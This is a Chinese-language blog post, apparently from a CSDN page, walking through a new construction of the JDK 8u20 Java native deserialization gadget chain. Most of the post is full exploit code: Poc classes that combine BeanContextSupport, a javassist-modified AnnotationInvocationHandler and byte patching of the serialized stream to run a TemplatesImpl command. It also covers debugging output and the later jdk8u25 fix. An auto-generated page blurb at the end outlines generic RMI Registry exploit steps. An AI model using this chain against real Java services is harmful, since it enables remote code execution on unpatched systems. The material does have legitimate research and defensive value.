原生反序列化链 jdk8u20 的新构造

自己构造 jdk8u20 反序列化链子,构造思路比网上的大多数都简单很多,exp也更短

感觉我之前那个 bypass __wakeup() 的 trick 和 8u20 绕过 7u21 的方式异曲同工

jdk8u20 是对 jdk7u21 这条链的绕过

参考 原生反序列化利用链 JDK7u21的修复过程,可以知道,反序列化的过程中:

sun.reflect.annotation.AnnotationInvocationHandler 的 equalsImpl() ,会调用 (Class<? extends Annotation>)this.type 的所有 DeclaredMethods 的 invoke() ,传入 (Object)var1

而 针对此 ,jdk7u25 的修复方式,是在 AnnotationInvocationHandler 的 readObject() 方法中尝试将 this.type 转换成 AnnotationType ,如果转换失败,就 throw Exception (而不是 直接 return ):

值得注意的是 AnnotationInvocationHandler 的 readObject() 当中,除了第一行调用了 ObjectInputStream 的 defaultReadObject() 外,其他位置都没有再从 stream 中读内容,也就是说,在 throw Exception 之前,一个 AnnotationInvocationHandler 对象已经被完整构造好了。

二重 try catch demo :

package top.inhann;

public class Test {
    public static void main(String[] args) {
        try {
            try {
                int i = 1/0;
            }catch (Exception e){
                throw new Exception("bitch");
            }
        }catch (Exception e){
        }
        System.out.println("fuck");
    }
}

运行结果,可以看到,有两层 try catch ,虽然里面一层在 catch 当中 抛出了异常,但是并没有影响程序的整体运行,最终 fuck 还是被打印了:

序列化数据中使用 Reference 的 demo

写一个 可以序列化的 Fuck 类:

package top.inhann;

import java.io.Serializable;

public class Fuck implements Serializable {
}

构造一个数组进行序列化,数组中的两个元素相同:

package top.inhann;

import ysoserial.Serializer;

import java.io.File;
import java.io.FileOutputStream;

public class Test {
    public static void main(String[] args) throws Exception{
        Fuck f = new Fuck();
        Object[] l = {f,f};
        byte[] ser = Serializer.serialize(l);
        writeFile(ser,"1.txt");
    }
    public static void writeFile(byte[] content,String path) throws Exception{
        File file = new File(path);
        FileOutputStream f = new FileOutputStream(file);
        f.write(content);
        f.close();
    }
}

用 zkar 查看序列化数据:

.\zkar.exe dump --file D:\tmp\ysoserial-7\1.txt 
@Magic - 0xac ed
@Version - 0x00 05
@Contents
  TC_ARRAY - 0x75
    TC_CLASSDESC - 0x72
      @ClassName
        @Length - 19 - 0x00 13
        @Value - [Ljava.lang.Object; - 0x5b 4c 6a 61 76 61 2e 6c 61 6e 67 2e 4f 62 6a 65 63 74 3b
      @SerialVersionUID - -8012369246846506644 - 0x90 ce 58 9f 10 73 29 6c
      @Handler - 8257536
      @ClassDescFlags - SC_SERIALIZABLE - 0x02
      @FieldCount - 0 - 0x00 00
      []Fields
      []ClassAnnotations
        TC_ENDBLOCKDATA - 0x78
      @SuperClassDesc
        TC_NULL - 0x70
    @Handler - 8257537
    @ArraySize - 2 - 0x00 00 00 02
    []Values
      Index 0
        TC_OBJECT - 0x73
          TC_CLASSDESC - 0x72
            @ClassName
              @Length - 15 - 0x00 0f
              @Value - top.inhann.Fuck - 0x74 6f 70 2e 69 6e 68 61 6e 6e 2e 46 75 63 6b
            @SerialVersionUID - -2733006860490274390 - 0xda 12 68 bd 8f c5 89 aa
            @Handler - 8257538
            @ClassDescFlags - SC_SERIALIZABLE - 0x02
            @FieldCount - 0 - 0x00 00
            []Fields
            []ClassAnnotations
              TC_ENDBLOCKDATA - 0x78
            @SuperClassDesc
              TC_NULL - 0x70
          @Handler - 8257539
          []ClassData
            @ClassName - top.inhann.Fuck
              {}Attributes
      Index 1
        TC_REFERENCE - 0x71
          @Handler - 8257539 - 0x00 7e 00 03

可以看到,index 1 的元素在序列化数据中是 Reference 类型,通过 Handler 指向了 index 0 的元素

jdk7u21 的 poc 的重点

jdk7u21 的 poc ,参考 ysoserial/Jdk7u21_my.java at master · 1nhann/ysoserial · GitHub

经过调试, AnnotationInvocationHandler 对象的反序列化(即创建)的起点是 HashSet 的 readObject() ,在其中调用了个 s.readObject(); ,尝试反序列化一个 proxy object :

回顾 java 动态代理 的基础知识可以知道,一个 Proxy 对象只有一个属性,名为 h ,类型为 InvocationHandler :

也就是说 jdk7u21 的核心触发点在于以下代码:

for (int i=0; i<size; i++) {
    E e = (E) s.readObject();
    map.put(e, PRESENT);
}

这个 for 循环有两次,第一次是通过 readObject() 构造一个 TemplatesImpl ,第二次是通过 readObject() 构造一个 proxy ,然后 put 这个 proxy ,而也就是这第二次的 put 触发了RCE。对于 jdk7u21 的修补,使得默认情况下, s.readObject() 返回一个 proxy 变得不可能。

结合序列化中 Reference 的特性,很容易想到, 让上面的 for 循环运行3次(也就是 s.readObject() 运行三次),第一次构建 AnnotationInvocationHandler ,第二次和原来一样,构造一个 TemplatesImpl , 第三次和原来差不多,只不过用 TC_REFERENCE 让 proxy 的 h 指向第一次构建的 AnnotationInvocationHandler

所以需要找一个 readObject() ,在当中调用了类似这样的代码:

try{
    s.readObject();
}catch(Exception e){

}

根据网上资料,使用 java.beans.beancontext.BeanContextSupport ,这个类的 readObject() ,调用了 readChildren(ois); :

private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

    synchronized(BeanContext.globalHierarchyLock) {
        ois.defaultReadObject();

        initialize();

        bcsPreDeserializationHook(ois);

        if (serializable > 0 && this.equals(getBeanContextPeer()))
            readChildren(ois);

        deserialize(ois, bcmListeners = new ArrayList(1));
    }
}

看下 readChildren() ,可以看到调用了 ois.readObject(); :

基于 7u21 的 poc ,把 BeanContextSupport 对象放到 map 中的第一个位置罢了:

package top.inhann;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.util.Gadgets;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Reflections;


import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

public class Poc {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("calc.exe");

        InvocationHandler ih = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class,new HashMap<>());
        Reflections.setFieldValue(ih,"type", Templates.class);
        Templates proxy = Gadgets.createProxy(ih,Templates.class);

        BeanContextSupport b = new BeanContextSupport();
        Reflections.setFieldValue(b,"serializable",1);
        HashMap tmpMap = new HashMap<>();
        tmpMap.put(ih,null);
        Reflections.setFieldValue(b,"children",tmpMap);

        LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
        set.add(b);
        set.add(templates);
        set.add(proxy);

        HashMap hm = new HashMap();
        hm.put("f5a5a608",templates);
        Reflections.setFieldValue(ih,"memberValues",hm);

        byte[] ser = Serializer.serialize(set);
        Deserializer.deserialize(ser);

    }
}

但是运行这个 poc 会报错:

经过调试,问题的根源在于 BeanContextSupport 调用 deserialize() ,在其中调用了 ois.readInt(); ,这个位置发出了报错:

这个错误的根源可以追溯到 ObjectInputStream 的 readBlockHeader() ,在其中判断了下 defaultDataEnd 的值,如果为 true 就返回 -1 :

而为了 defaultDataEnd 为 false ,可以来到 AnnotationInvocationHandler 调用 defaultReadObject() 的时候,在里面判断了下是否有自定义的 writeObject 方法,如果没有就将 defaultDataEnd 赋值为 true :

所以可以 用 javassist 给 AnnotationInvocationHandler 加一个 writeObjecct() 方法

package top.inhann;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

public class Poc {
    public static Class newInvocationHandlerClass() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
        CtMethod writeObject = CtMethod.make("    private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
            "        os.defaultWriteObject();\n" +
            "    }",clazz);
        clazz.addMethod(writeObject);
        return clazz.toClass();
    }

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("calc.exe");

        Class ihClass = newInvocationHandlerClass();
        InvocationHandler ih = (InvocationHandler) Reflections.getFirstCtor(ihClass).newInstance(Override.class,new HashMap<>());

        Reflections.setFieldValue(ih,"type", Templates.class);
        Templates proxy = Gadgets.createProxy(ih,Templates.class);

        BeanContextSupport b = new BeanContextSupport();
        Reflections.setFieldValue(b,"serializable",1);
        HashMap tmpMap = new HashMap<>();
        tmpMap.put(ih,null);
        Reflections.setFieldValue(b,"children",tmpMap);

        LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
        set.add(b);
        set.add(templates);
        set.add(proxy);

        HashMap hm = new HashMap();
        hm.put("f5a5a608",templates);
        Reflections.setFieldValue(ih,"memberValues",hm);

        byte[] ser = Serializer.serialize(set);
        Deserializer.deserialize(ser);
    }
}

但是运行之后还是报错:

经过调试,问题的根源还是在于 BeanContextSupport 调用 deserialize() ,在其中调用了 ois.readInt(); ,这个位置发出了报错:

本该是读到一个 int 的地方,读到的却是 TC_ENDBLOCKDATA 标志:

把 序列化数据保存成文件,根据此时 指针在 stream 中的位置,可以用 python 处理一下,定位到那个地方:

参考 GitHub - 1nhann/java_ser_format: Just mindmapping according to official document ( useful for further study ) ,可以看到, 7870 之后就是 block data ,是要读的 int 的内容,所以直接把 7870 删了就可以了

比网上大多数 exp 都短得多。。。

生成 ser.txt :

package top.inhann;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import ysoserial.Serializer;
import ysoserial.payloads.util.ByteUtil;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.ReadWrite;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

public class Poc {
    public static Class newInvocationHandlerClass() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
        CtMethod writeObject = CtMethod.make("    private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
            "        os.defaultWriteObject();\n" +
            "    }",clazz);
        clazz.addMethod(writeObject);
        return clazz.toClass();
    }

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("calc.exe");

        Class ihClass = newInvocationHandlerClass();
        InvocationHandler ih = (InvocationHandler) Reflections.getFirstCtor(ihClass).newInstance(Override.class,new HashMap<>());

        Reflections.setFieldValue(ih,"type", Templates.class);
        Templates proxy = Gadgets.createProxy(ih,Templates.class);

        BeanContextSupport b = new BeanContextSupport();
        Reflections.setFieldValue(b,"serializable",1);
        HashMap tmpMap = new HashMap<>();
        tmpMap.put(ih,null);
        Reflections.setFieldValue(b,"children",tmpMap);


        LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
        set.add(b);
        set.add(templates);
        set.add(proxy);

        HashMap hm = new HashMap();
        hm.put("f5a5a608",templates);
        Reflections.setFieldValue(ih,"memberValues",hm);

        byte[] ser = Serializer.serialize(set);

        byte[] shoudReplace = new byte[]{0x78,0x70,0x77,0x04,0x00,0x00,0x00,0x00,0x78,0x71};

        int i = ByteUtil.getSubarrayIndex(ser,shoudReplace);
        ser = ByteUtil.deleteAt(ser,i); // delete 0x78
        ser = ByteUtil.deleteAt(ser,i); // delete 0x70

// 不能直接 Deserializer.deserialize(ser) , 除非 redefine 了 AnnotationInvocationHandler 否则会报错
//        Deserializer.deserialize(ser);
        ReadWrite.writeFile(ser,"ser.txt");
    }
}

不能直接 Deserializer.deserialize(ser) , 除非 redefine 了 AnnotationInvocationHandler ,否则会报错

进行反序列化:

package top.inhann;

import ysoserial.Deserializer;
import ysoserial.payloads.util.ReadWrite;
public class Test2 {
    public static void main(String[] args) throws Exception{
        byte[] bytes = ReadWrite.readFile("ser.txt");
        Deserializer.deserialize(bytes);
    }
}

https://github.com/1nhann/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk8u20_my.java

修复版本是 jdk8u25,位置在于 AnnotationInvocationHandler 类

可以查看下 AnnotationInvocationHandler 类的历史:

[email protected]:~/Repo_Proj/jdk8u332# git log -p ./jdk/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java

在 77adec7be50392acc4a35c6f8da9c0b3340b8bd9 这个 commit 的位置,定义了一个 validateAnnotationMethods() 对于反序列化的时候 this.type 所调用的方法做了限制:

jdk8u20 的时候:

jdk8u25 的时候:

给 getMemberMethods() 中加了一段:

AnnotationInvocationHandler.this.validateAnnotationMethods(var1);

对能调用的方法做了黑白名单,对 return type 、method name 等,都做了限制,其中最直观的就是给调用的方法名做了限制,只能调用:

toString()
hashCode()
annotationType()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Java RMI Registry序列漏洞是指在JDK 8u232_b09(以及之前的版本)中存在一个漏洞,导致攻击者可以利用该漏洞在目标系统上执行任意代码。 要复现这个漏洞,可以按照以下步骤进行: 1. 准备环境:首先,需要确保目标系统上安装了受影响版本的JDK,即JDK 8u232_b09或更早的版本。 2. 下载Payload:根据漏洞的特性,我们需要准备一个Payload来利用这个漏洞。可以通过搜索相关的公开Payload库或自行编写Payload。 3. 启动RMI Registry:然后,使用命令行启动RMI Registry服务,可以使用如下命令:`rmiregistry`。RMI Registry将监听默认端口1099。 4. 编写Exploit代码:使用Java编写一个包含恶意代码的Exploit程序,该程序将利用JDK 8u232_b09中的序列漏洞执行Payload。 5. 注册Exploit:使用RMI Registry注册Exploit程序。可以使用以下代码将Exploit程序注册到RMI Registry中:`Naming.rebind("Exploit", exploitObj)`,其中`Exploit`是注册的名称,`exploitObj`是包含Exploit代码的对象。 6. 触发漏洞:在目标系统上执行注册了Exploit的RMI Registry服务。 7. 检查结果:如果一切正常,攻击者将成功利用序列漏洞执行恶意代码,可以在目标系统上执行任意操作。 需要注意的是,这个漏洞已经被修复,因此不建议将其用于非法用途。此外,对于生产环境来说,确保及时更和升级JDK版本是最重要的安全措施之一,以防止潜在的漏洞利用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值